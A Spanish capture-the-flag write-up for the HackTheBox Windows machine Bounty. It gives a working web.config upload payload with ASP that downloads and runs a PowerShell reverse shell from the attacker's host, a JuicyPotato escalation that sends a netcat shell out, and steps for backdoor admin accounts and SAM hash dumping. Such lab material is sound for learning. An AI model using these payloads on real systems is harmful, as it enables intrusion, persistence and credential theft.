the_open_door
café
ESEN

Bounty

HackTheBoxFácilWindows10.10.10.93

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#iis#aspx#file-upload#web-config#asp-classic#rce#seimpersonate#juicypotato#potato
TL;DR. Bounty es una máquina Windows fácil con un único servicio: IIS 7.5 en el 80. Tras fuzzear aparece transfer.aspx, un uploader que filtra extensiones pero permite .config. Subiendo un web.config con código ASP clásico embebido logramos ejecución de código en IIS y, de ahí, una reverse shell como merlin. Ese contexto tiene SeImpersonatePrivilege, así que un ataque tipo Potato (JuicyPotato) eleva a NT AUTHORITY\SYSTEM.

Reconocimiento

Ping

Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).

ping -c 1 10.10.10.93

el ping devuelve una respuesta con ttl=127

PING 10.10.10.93 (10.10.10.93) 56(84) bytes of data.
64 bytes from 10.10.10.93: icmp_seq=1 ttl=127 time=103 ms

--- 10.10.10.93 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms

TTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1, un solo salto hasta el laboratorio; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos

Aun sabiendo que el objetivo es Windows, el escaneo TCP completo es obligatorio: recorrer los 65535 puertos es lo único que descarta que haya algo escondido en un puerto alto.

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.10.93

el escaneo de los 65535 puertos solo descubre el 80, con syn-ack ttl 127

Discovered open port 80/tcp on 10.10.10.93
Completed SYN Stealth Scan at 14:14, 26.36s elapsed (65535 total ports)
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 127

Un solo puerto de 65535, y los otros 65534 en filtered (sin respuesta), que es la firma de un cortafuegos descartando en silencio en vez de contestar un RST. Toda la superficie de ataque es ese 80, así que sobre él va la detección de versiones:

nmap -p80 -sCV 10.10.10.93

nmap identifica Microsoft IIS httpd 7.5 con el título Bounty y el método TRACE habilitado

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Bounty
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

IIS 7.5 no es un dato menor: esa versión viene de serie con Windows Server 2008 R2, lo que fija el sistema y, más adelante, decidirá qué variante de ataque Potato es viable.

TCP 80 - Identificar la pila

Un único puerto abierto, así que el puerto se pasa al siguiente comando con extractPorts:

extractPorts scan

extractPorts devuelve IP Address 10.10.10.93 y Open ports 80, copiado al portapapeles

Extracting information ...
IP Address: 10.10.10.93
Open ports: 80

Ports copied to clipboard

Antes de fuzzear nada, la identificación de la pila:

whatweb 10.10.10.93

whatweb identifica Microsoft-IIS 7.5 con X-Powered-By ASP.NET y el título Bounty

http://10.10.10.93 [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/7.5],
IP[10.10.10.93], Microsoft-IIS[7.5], Title[Bounty], X-Powered-By[ASP.NET]

IIS 7.5 con ASP.NET, y esas dos piezas ya deciden todo lo que viene: el fuzzing tendrá que probar extensiones .asp y .aspx, no .php. Wappalyzer confirma lo mismo y añade el sistema operativo:

Wappalyzer sobre 10.10.10.93 detecta Microsoft ASP.NET como framework, IIS 7.5 como servidor y Windows Server como sistema operativo, con la imagen de un mago azul de fondo

Web frameworks     Microsoft ASP.NET
Web servers        IIS 7.5
Operating systems  Windows Server

La portada es solo esa imagen de un mago, y su código fuente no esconde nada... salvo un detalle que conviene anotar:

el view-source de la portada: un HTML mínimo con estilos en línea y un único img src="merlin.jpg" con alt IIS7

<title>Bounty</title>
<div id="container">
<a href=""><img src="merlin.jpg" alt="IIS7" width="571" height="411" /></a>
</div>

El fichero de la imagen se llama merlin.jpg. No es una prueba de nada, pero es un nombre propio en una máquina que no tiene ningún otro texto, y más adelante resulta ser el nombre del usuario del sistema.

TCP 80 - Fuzzing de recursos

Sin nada más en la portada, toca enumerar rutas. El primer barrido, con el diccionario por defecto de dirsearch, sale casi vacío:

dirsearch -u http://10.10.10.93/ --exclude-status=403,404

dirsearch solo encuentra /aspnet_client y un 500 en /WebResource.axd

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://10.10.10.93/

[14:19:52] 301 -  156B  - /aspnet_client  ->  http://10.10.10.93/aspnet_client/
[14:20:03] 500 -    3KB - /WebResource.axd?d=LER8t9aS

Task Completed

Un 301 y un error 500. Repetimos con un diccionario veinte veces mayor:

gobuster dir -u http://10.10.10.93 \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -b 404

gobuster encuentra /UploadedFiles en tres combinaciones de mayúsculas y minúsculas

/UploadedFiles       (Status: 301) [Size: 156] [--> http://10.10.10.93/UploadedFiles/]
/uploadedFiles       (Status: 301) [Size: 156] [--> http://10.10.10.93/uploadedFiles/]
/uploadedfiles       (Status: 301) [Size: 156] [--> http://10.10.10.93/uploadedfiles/]
Progress: 220564 / 220565 (100.00%)
Finished

Aparece /UploadedFiles, y el detalle de que salga tres veces con distintas mayúsculas confirma que el servidor no distingue mayúsculas de minúsculas en las rutas, cosa normal en IIS y útil de saber. El nombre es una promesa en sí mismo: si existe un directorio "de ficheros subidos", en algún sitio hay algo que sube ficheros.

Visitar los dos directorios, sin embargo, no lleva a ninguna parte:

tanto /uploadedFiles/ como /aspnet_client/ devuelven 403 - Forbidden: Access is denied

Server Error
403 - Forbidden: Access is denied.
You do not have permission to view this directory or page using the credentials that you supplied.

Un 403 en ambos. Y ojo con la lectura, porque marca el siguiente paso: 403 no es "no existe", es "existe y no te dejo listarlo". Los ficheros de dentro pueden ser perfectamente accesibles si se conoce su nombre; lo único bloqueado es ver el índice del directorio.

Falta entonces el formulario que sube esos ficheros. Como no hay enlaces que lo delaten, se fuzzea por nombre y extensión a la vez, probando asp y aspx sobre cada palabra del diccionario, que es lo que corresponde en un servidor IIS:

wfuzz -c --hc=404 -t 200 -w directory-list-2.3-medium.txt -z list,asp-aspx http://10.10.10.93/FUZZ.FUZ2Z

wfuzz descubre el recurso transfer.aspx en el servidor IIS

 ID        Response   Lines    Word     Chars     Payload
000007570: 200        21 L     58 W     941 Ch    "transfer - aspx"

Una sola combinación devuelve 200: transfer.aspx (941 caracteres); el resto son 400/404.

transfer.aspx es un formulario de subida de ficheros:

la página transfer.aspx con un formulario de subida de archivos

Se prueba lo primero que hay a mano, un fichero cualquiera:

el formulario con wp-config.php seleccionado, antes de pulsar Upload

tras subirlo, la página devuelve en rojo Invalid File. Please try again

Invalid File. Please try again

Hay filtro. Y ese mensaje, además de cerrar la puerta, abre otra: es una respuesta distinta de la de una subida correcta, así que sirve como oráculo para averiguar qué extensiones sí pasan.

Shell como merlin

Extensiones permitidas: el comodín .config

El uploader rechaza la mayoría de extensiones con un Invalid File. Please try again. Para saber cuáles pasan hay que probarlas todas, y para automatizarlo hay que saber primero qué campos lleva la petición. Se intercepta la subida con Burp:

la petición POST /transfer.aspx interceptada, con las cuatro partes del multipart resaltadas: __VIEWSTATE, __EVENTVALIDATION, FileUpload1 con su filename, y btnUpload

POST /transfer.aspx HTTP/1.1
Host: 10.10.10.93
Content-Type: multipart/form-data; boundary=---------------------------18279278558592051799919338

Content-Disposition: form-data; name="__VIEWSTATE"
/wEPDwUKMTI3ODM5MzQ0Mg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkZG...

Content-Disposition: form-data; name="__EVENTVALIDATION"
/wEWAgKni5/bBwLt3oXMAyW1jg85up8WJPrQheHTvy/7qzIo

Content-Disposition: form-data; name="FileUpload1"; filename="prueba.txt"
Content-Type: text/plain

prueba

Content-Disposition: form-data; name="btnUpload"
Upload

Cuatro campos, y dos de ellos son el problema: __VIEWSTATE y __EVENTVALIDATION son los tokens con los que ASP.NET WebForms mantiene el estado del formulario, y su valor es distinto en cada carga de la página. Reenviar una petición capturada sin actualizarlos falla siempre.

La solución es un script que, por cada extensión, pida primero la página y extraiga esos dos valores. El esqueleto empieza tan simple como esto, con un pdb.set_trace() para inspeccionar la respuesta en vivo:

transfer_url = "http://10.10.10.93/transfer.aspx"

def uploadFile():
    r = requests.get(transfer_url)
    pdb.set_trace()

el esqueleto del script en nano: importa pwn, signal, time, pdb, sys y requests, define transfer_url y hace un get con pdb.set_trace()

Con la ejecución detenida en ese punto se prueban las expresiones regulares contra la respuesta real, que es la forma de no escribirlas a ciegas:

python3 uploadFile.py

la sesión de pdb: se imprime r.text y se prueban las dos re.findall, que devuelven el valor del __VIEWSTATE y el del __EVENTVALIDATION

(Pdb) re.findall(r'id="__VIEWSTATE" value="(.*?)"', r.text)[0]
'/wEPDwUKMTI3ODM5MzQ0Mg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkZGZ...'
(Pdb) re.findall(r'id="__EVENTVALIDATION" value="(.*?)"', r.text)[0]
'/wEWAgK4+8nyDgLt3oXMA5qUVCb6JzRm4MGdPkgZ0bHTwwiv'

Comprobado que las dos expresiones aciertan, el bucle final pide la página, extrae los valores y solo entonces envía la subida:

def uploadFile(extension):
    s = requests.session()
    r = s.get(transfer_url)

    viewState = re.findall(r'id="__VIEWSTATE" value="(.*?)"', r.text)[0]
    eventValidation = re.findall(r'id="__EVENTVALIDATION" value="(.*?)"', r.text)[0]

    post_data = {'__VIEWSTATE': viewState, '__EVENTVALIDATION': eventValidation, 'btnUpload': 'Upload'}
    fileUploaded = {'FileUpload1': ('Prueba.' + extension, 'Esto es una prueba')}

    r = s.post(transfer_url, data=post_data, files=fileUploaded)

    if "Invalid File. Please try again" not in r.text:
        log.success("La extensión %s es válida" % extension)

El criterio de éxito es por ausencia del mensaje de error, no por presencia de uno de éxito, que es lo que hay cuando la aplicación no da una respuesta positiva clara.

python3 uploadFile.py

el script recorre el diccionario de extensiones y marca como válidas gif, jpg, png, doc, config, jpeg, xls, xlsx y docx

Fuerza bruta: Probando con la extensión .xspf
[+] La extensión .gif es válida
[+] La extensión .jpg es válida
[+] La extensión .png es válida
[+] La extensión .doc es válida
[+] La extensión .config es válida
[+] La extensión .jpeg es válida
[+] La extensión .xls es válida
[+] La extensión .xlsx es válida
[+] La extensión .docx es válida

El mismo resultado se puede obtener con Burp Intruder, sin escribir una línea de código, y merece la pena verlo porque es lo que se usa cuando no hay tiempo de programar nada. Primero se manda la petición interceptada al Intruder:

el HTTP history de Burp con la petición POST /transfer.aspx resaltada y la pestaña Intruder señalada, junto al navegador mostrando el Invalid File

Se elige el tipo de ataque Sniper (un solo punto de inyección) y se marca como posición solo la extensión del filename, dejando el nombre base fijo:

la pestaña Positions con Attack type: Sniper y el filename marcado como "prueba§.txt§", con la extensión entre marcadores

Attack type: Sniper
filename="prueba§.txt§"

La carga es una lista simple con el mismo diccionario de extensiones:

la pestaña Payloads con Payload type Simple list y el diálogo de carga apuntando a raft-small-extensions.txt, 963 payloads

Payload type : Simple list
Payload count: 963
Fichero      : /home/krmena/SecLists/Discovery/Web-Content/raft-small-extensions.txt

Y aquí está el detalle que arruina el ataque si se pasa por alto: hay que desmarcar el URL-encoding. Si se deja activo, el punto de la extensión viaja codificado y el servidor rechaza todo por igual:

la sección Payload Encoding con la casilla URL-encode these characters desmarcada

Por último, en vez de mirar 963 respuestas a ojo, se configura un grep extract que saque el mensaje de error de cada una, de modo que las válidas se distingan de un vistazo por tener esa columna vacía:

el diálogo Define extract grep item de Burp, configurado para extraer lo que hay entre :Red;"&gt; y &lt;/span&gt;, que es donde aparece el texto Invalid File. Please try again

Start after expression : :Red;">
End at delimiter       : </span>
  -> captura: Invalid File. Please try again

Ocho de las nueve extensiones son formatos de datos inertes: imágenes y documentos de Office. La novena desentona, y es .config. Esa última es la interesante: en IIS, un web.config no es un fichero de datos cualquiera, sino configuración que el servidor procesa, y puede contener código ASP clásico interpretable. Es la base del truco de RCE vía web.config y un caso de subida de fichero a ejecución por bypass de extensión.

web.config con código ASP

La técnica no se improvisa: buscando qué se puede hacer con un .config en IIS aparece siempre el mismo artículo:

la búsqueda de "IIS config file exploit" devuelve como primer resultado IIS - Web.config File Exploit, de KSEC ARK en ivoidwarranties.tech

IIS - Web.config File Exploit - KSEC ARK   (ivoidwarranties.tech)
The techniques below show some different web.config files that can be used to bypass protections
around the file uploaders.

El artículo trae el fichero completo bajo el epígrafe Running web.config as an ASP file, que es exactamente nuestro caso: IIS soporta ASP pero el uploader no deja subir .asp.

el artículo de ivoidwarranties con la sección Running web.config as an ASP file y el XML completo del web.config resaltado, incluido el bloque ASP con el Response.write(1+2)

Running web.config as an ASP file

Sometimes IIS supports ASP files but it is not possible to upload any file with .ASP extension.
In this case, it is possible to use a web.config file directly to run ASP classic codes.

Copiamos ese web.config tal cual: además de la configuración mínima incluye un bloque ASP que ejecuta una operación trivial (1 + 2). Si al pedir el fichero subido vemos un 3, el código se está interpretando:

sudo nano web.config
cat web.config

el web.config declara un handler que procesa los .config con asp.dll y añade un bloque ASP que escribe 1+2

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule"
              scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified"
              requireAccess="Write" preCondition="bitness64" />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&"-")
%>
-->

Conviene leer qué hace cada parte, porque el fichero es el ataque entero:

  • El <add name="web_config" ... scriptProcessor="...\asp.dll"> le dice a IIS que los ficheros .config los procese el intérprete de ASP clásico. Es decir, el propio fichero subido reconfigura el servidor para que se ejecute a sí mismo.
  • El <remove fileExtension=".config" /> y el <remove segment="web.config" /> desactivan las dos protecciones que IIS trae por defecto, que precisamente impiden servir por HTTP un fichero llamado web.config.
  • El bloque ASP va dentro de un comentario XML, y de ahí los Response.write("-"&"->") del principio y del final: sirven para cerrar y reabrir el comentario en la salida, de modo que el XML siga siendo válido pero el código se ejecute igual.

La parte que importa es el final del fichero, y conviene mirarla aparte porque es la carga útil:

el bloque ASP del final del web.config, con el Response.write(1+2) señalado con una flecha entre los dos Response.write que cierran y reabren el comentario

<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&"-")
%>
-->

web.config subido correctamente a transfer.aspx

Browse...  web.config   [Upload]
File uploaded successfully.

El uploader acepta el web.config (File uploaded successfully.): la extensión .config pasa el filtro.

El fichero queda en /uploadedFiles/web.config, y al abrirlo el servidor devuelve 3: confirmado, IIS ejecuta nuestro ASP (algo imposible si la carpeta solo sirviera ficheros estáticos):

/uploadedFiles/web.config devuelve 3, prueba de ejecución de código ASP

De ejecución de código a reverse shell

Con ejecución confirmada, falta cambiar el 1+2 por algo útil. El one-liner de ASP clásico que convierte esto en una webshell sale de una recopilación de reverse shells:

la búsqueda de asp en hackingdream.net devuelve el artículo Reverse Shells / Web Shells Cheat Sheet for Penetration Testing OSCP

el artículo con la sección ASP y su one-liner seleccionado y copiado con el menú contextual

<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>

Pegado al final del web.config, eso ya sería una webshell por parámetro cmd:

el web.config con el one-liner ASP añadido en la última línea, resaltado, sustituyendo al bloque del 1+2

Pero una webshell obliga a ir comando a comando por la URL. Es más cómodo pedir directamente una reverse shell, así que el Exec se cambia por uno que descarga y ejecuta un script de PowerShell (Nishang (repo) Invoke-PowerShellTcp) servido desde nuestra máquina:

el web.config definitivo con el bloque ASP que crea un WScript.Shell y ejecuta powershell IEX downloadString sobre http://10.10.16.3/ps.ps1

<%
Set co = CreateObject("WScript.Shell")
Set cte = co.Exec("cmd /c powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.16.3/ps.ps1')")
Response.write(cte.StdOut.Readall())
%>

El ps.ps1 que va a descargar es el de Nishang, que hay que traerse antes:

el repositorio samratashok/nishang en GitHub, con el directorio Shells resaltado entre ActiveDirectory, Backdoors, Escalation y el resto

el contenido del directorio Shells, con Invoke-PowerShellTcp.ps1 resaltado entre los demás scripts

wget https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1

el raw del script en el navegador, con su cabecera de ayuda y los ejemplos de uso, y a la derecha el wget descargando los 4339 bytes

.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.

.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444

Length: 4339 (4.2K) [text/plain]
'Invoke-PowerShellTcp.ps1' saved [4339/4339]

El script solo define la función, no la ejecuta, así que hay que añadir la llamada al final con nuestra IP y puerto. Sin esa línea el IEX cargaría la función en memoria y no pasaría nada más:

nano ps.ps1
cat ps.ps1 | tail -n 10

el final de ps.ps1 con la línea Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.3 -Port 443 añadida y resaltada

        }
    }
    catch
    {
        Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
        Write-Error $_
    }
}

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.3 -Port 443
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.3 -Port 443

Levantamos el servidor HTTP y el listener, subimos el web.config malicioso y lo cargamos para disparar la conexión:

python3 -m http.server 80
sudo rlwrap nc -nlvp 443

reverse shell como merlin tras cargar el web.config; lectura de user.txt

La shell entra en el contexto de IIS (bounty\merlin) y leemos la primera flag:

PS C:\windows\system32\inetsrv> type C:\Users\merlin\Desktop\user.txt
117fbf1dfe259fe59f2b0fdcda7649be

Shell como SYSTEM

SeImpersonatePrivilege

Lo primero tras una shell en Windows es mirar el token. El contexto de IIS tiene SeImpersonatePrivilege habilitado, la llave de los ataques "Potato":

whoami /priv

whoami /priv muestra SeImpersonatePrivilege habilitado

SeImpersonatePrivilege   Impersonate a client after authentication   Enabled

JuicyPotato a NT AUTHORITY\SYSTEM

SeImpersonatePrivilege permite a un proceso suplantar el token de un cliente que se autentique contra él. JuicyPotato fuerza a un servicio COM/DCOM que corre como SYSTEM a autenticarse contra un endpoint controlado por el atacante, captura su token y lanza un proceso con él. Como esta máquina es Windows Server 2008 R2, JuicyPotato (repo) es viable. El binario se baja de sus releases:

la página de releases v0.1 "Fresh potatoes" del repositorio ohpe/juicy-potato, con JuicyPotato.exe de 340 KB resaltado y completado en el panel de descargas

ohpe / juicy-potato   Releases / v0.1  "Fresh potatoes"
Assets (3)
  JuicyPotato.exe     340 KB   Aug 10, 2018
mv /home/krmena/Downloads/JuicyPotato.exe /home/krmena/machines/bounty/exploits
cd /home/krmena/machines/bounty/exploits
mv JuicyPotato.exe JP.exe

el mv del binario al directorio de exploits, el ls que lo confirma junto a ps.ps1, uploadFile.py y web.config, y el renombrado a JP.exe

Se acorta el nombre a JP.exe por comodidad, que en una shell sin autocompletado se agradece. Hace falta también un netcat para Windows, que se saca del sitio de siempre:

la página eternallybored.org/misc/netcat con el enlace de netcat 1.12 resaltado y el netcat-win32-1.12.zip de 109 KB descargado

Here's netcat 1.11 compiled for both 32 and 64-bit Windows
Small update: netcat 1.12 - adds -c command-line option to send CRLF line endings instead of just CR
mv /home/krmena/netcat-win32-1.12.zip .
unzip netcat-win32-1.12.zip -d netcat
mv netcat/nc64.exe ./nc.exe

el unzip extrae el paquete completo de netcat, incluidos nc.exe y nc64.exe, y se renombra el de 64 bits a nc.exe

Archive:  netcat-win32-1.12.zip
  inflating: netcat/nc.exe
  inflating: netcat/nc64.exe

Los dos binarios se suben con certutil.exe, que viene de serie en Windows y sirve como descargador:

python3 -m http.server 80
cd C:\Windows\Temp
certutil.exe -f -urlcache -split http://10.10.16.5/JP.exe
certutil.exe -f -urlcache -split http://10.10.16.5/nc.exe

certutil descarga JP.exe y nc.exe a C:\Windows\Temp con CertUtil: -URLCache command completed successfully, y el http.server del atacante registra los cuatro GET con 200

PS C:\Windows\Temp> certutil.exe -f -urlcache -split http://10.10.16.5/JP.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.

10.10.10.93 - - [12/Jul/2025 01:12:24] "GET /JP.exe HTTP/1.1" 200 -
10.10.10.93 - - [12/Jul/2025 01:12:33] "GET /nc.exe HTTP/1.1" 200 -

Con todo en su sitio, lanzamos el exploit pidiéndole una reverse shell como SYSTEM:

.\JP.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c C:\Windows\Temp\nc.exe -e cmd 10.10.16.5 443"

JuicyPotato suplanta el token SYSTEM (CLSID válido) y cae la shell privilegiada con root.txt

En el listener cae la shell como NT AUTHORITY\SYSTEM y leemos la flag final:

C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
b0222e8ad43e1546173417f963e3d632

Extra: usuario local administrador y acceso remoto

Con SYSTEM en la mano la caja ya está resuelta, pero merece la pena ver qué más permite JuicyPotato, porque no es solo un lanzador de reverse shells: su -a ejecuta cualquier comando con el token suplantado. Encadenando cuatro de esos comandos se pasa de una shell frágil (que muere al cerrar el listener) a un acceso administrativo estable por SMB, que es justo lo que se busca en un ejercicio real.

El primero crea un usuario local:

.\JP.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c net user s4vitar s4vit4r123$! /add"
net user

JuicyPotato ejecuta net user para crear la cuenta y el net user posterior lista Administrator, Guest, merlin y el recien creado s4vitar

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK

PS C:\Windows\Temp\Privesc> net user
User accounts for \\BOUNTY
-------------------------------------------------------------------------------
Administrator            Guest                    merlin
s4vitar
The command completed successfully.

Cada invocación repite el mismo patrón: authresult 0 (el CLSID responde), la identidad suplantada NT AUTHORITY\SYSTEM y un CreateProcessWithTokenW OK. El comando se ejecuta con ese token, no con el de merlin, y por eso net user puede crear cuentas.

El segundo mete la cuenta en el grupo de administradores locales, y net user s4vitar lo verifica:

.\JP.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c net localgroup Administrators s4vitar /add"
net user s4vitar

la ficha de net user s4vitar muestra la cuenta activa, sin caducidad, y en Local Group Memberships aparecen Administrators y Users

User name                    s4vitar
Account active               Yes
Account expires              Never
Password last set            6/7/2022 12:10:12 AM
Password expires             Never
Password required            Yes
User may change password     Yes
Workstations allowed         All
Last logon                   Never
Local Group Memberships      *Administrators       *Users
Global Group memberships     *None
The command completed successfully.

Ahí está la comprobación que importa: *Administrators en Local Group Memberships. La cuenta ya no es un usuario cualquiera.

El tercero comparte por SMB el directorio de trabajo, dando control total al grupo de administradores. Sirve para subir binarios desde fuera sin depender del certutil de turno:

.\JP.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c net share attacker_folder=C:\Windows\Temp /GRANT:Administrators,FULL"

JuicyPotato ejecuta el net share que publica C:\Windows\Temp como attacker_folder con permiso FULL para Administrators

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK

El cuarto es el menos evidente y el que hace que todo lo anterior sirva desde fuera:

.\JP.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f"

JuicyPotato ejecuta el reg add que pone LocalAccountTokenFilterPolicy a 1 en la clave Policies System

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK

Por defecto, Windows aplica UAC remoto a las cuentas locales: cuando una de ellas se autentica por red, recibe un token filtrado sin los privilegios de administrador, aunque pertenezca al grupo. Poner LocalAccountTokenFilterPolicy a 1 desactiva ese filtrado y hace que s4vitar llegue por SMB con el token completo. Sin ese valor, los dos pasos siguientes fallarían pese a tener credenciales válidas.

Con eso ya se puede trabajar desde la máquina atacante. Un primer uso es volcar la base SAM local (volcado de SAM/LSA) sin tocar la shell:

cme smb 10.10.10.93 -u 's4vitar' -p 's4vit4r123$!' --sam

crackmapexec valida s4vitar con Pwn3d! y vuelca los hashes NT de Administrator, Guest y merlin

SMB  10.10.10.93  445  BOUNTY  [*] Windows Server 2008 R2 Datacenter 7600 x64 (name:BOUNTY) (domain:bounty) (signing:False) (SMBv1:True)
SMB  10.10.10.93  445  BOUNTY  [+] bounty\s4vitar:s4vit4r123$! (Pwn3d!)
SMB  10.10.10.93  445  BOUNTY  [+] Dumping SAM hashes
SMB  10.10.10.93  445  BOUNTY  Administrator:500:aad3b435b51404eeaad3b435b51404ee:89dd4e73364721f8e2abe67d7090b686:::
SMB  10.10.10.93  445  BOUNTY  Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB  10.10.10.93  445  BOUNTY  merlin:1000:aad3b435b51404eeaad3b435b51404ee:2d588983dbc4d1356b19277afef85092:::

El (Pwn3d!) confirma que el token llega sin filtrar: la cuenta es administradora también por red. Del volcado salen tres hashes NT, y uno de ellos, el de Guest, es el 31d6cfe0d16ae931b73c59d7e0c089c0 de contraseña vacía (la cuenta está deshabilitada). El de Administrator sí vale para un Pass-the-Hash si hiciera falta.

Y el segundo uso es entrar directamente con una shell como SYSTEM, esta vez limpia y reconectable:

psexec.py WORKGROUP/s4vitar@10.10.10.93 cmd.exe

psexec.py sube un binario al recurso ADMIN$, crea un servicio y devuelve una consola cmd donde whoami responde nt authority system

Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
Password:
[*] Requesting shares on 10.10.10.93.....
[*] Found writable share ADMIN$
[*] Uploading file XmhOOdiX.exe
[*] Opening SVCManager on 10.10.10.93.....
[*] Creating service zPEy on 10.10.10.93.....
[*] Starting service zPEy.....
Microsoft Windows [Version 6.1.7600]

C:\Windows\system32> whoami
nt authority\system

psexec.py no explota nada: se apoya en el recurso administrativo ADMIN$, sube un ejecutable, lo registra como servicio y lo arranca. Los servicios corren como SYSTEM, y de ahí el whoami. Es el mismo resultado que dio JuicyPotato, pero ahora se obtiene a voluntad desde fuera, sin volver a pasar por la web ni por el uploader.

Cadena de ataque

IIS 7.5 (:80)
   │  fuzz → transfer.aspx (uploader con filtro de extensión)
   ▼
bypass de extensión: .config permitido → web.config con ASP clásico
   │  /uploadedFiles/web.config ejecuta código → reverse shell PowerShell
   ▼
shell como merlin (contexto IIS)  →  user.txt
   │  whoami /priv → SeImpersonatePrivilege
   ▼
JuicyPotato (abuso COM/DCOM)  →  NT AUTHORITY\SYSTEM  →  root.txt

Lecciones aprendidas

  • Una allowlist de extensiones no basta si una de ellas es ejecutable. En IIS, web.config se procesa como configuración y puede llevar ASP clásico: permitir .config equivale a permitir ejecución de código (RCE vía web.config).
  • Validar el contenido, no solo la extensión. El uploader miraba la extensión, pero web.config con un bloque <%...%> es perfectamente válido como nombre y mortal como contenido. Hay que inspeccionar y servir lo subido desde una carpeta sin permisos de ejecución.
  • El contexto de IIS suele tener SeImpersonatePrivilege. Cualquier RCE en una app web Windows recae a menudo en una cuenta con este privilegio, y un ataque Potato lo convierte en SYSTEM.
  • Reducir la superficie no es ocultar. transfer.aspx no estaba enlazado, pero el fuzzing lo encontró en segundos. La seguridad por oscuridad no protege un endpoint sensible.
Cheatsheet de comandos 20 comandos

Repaso rápido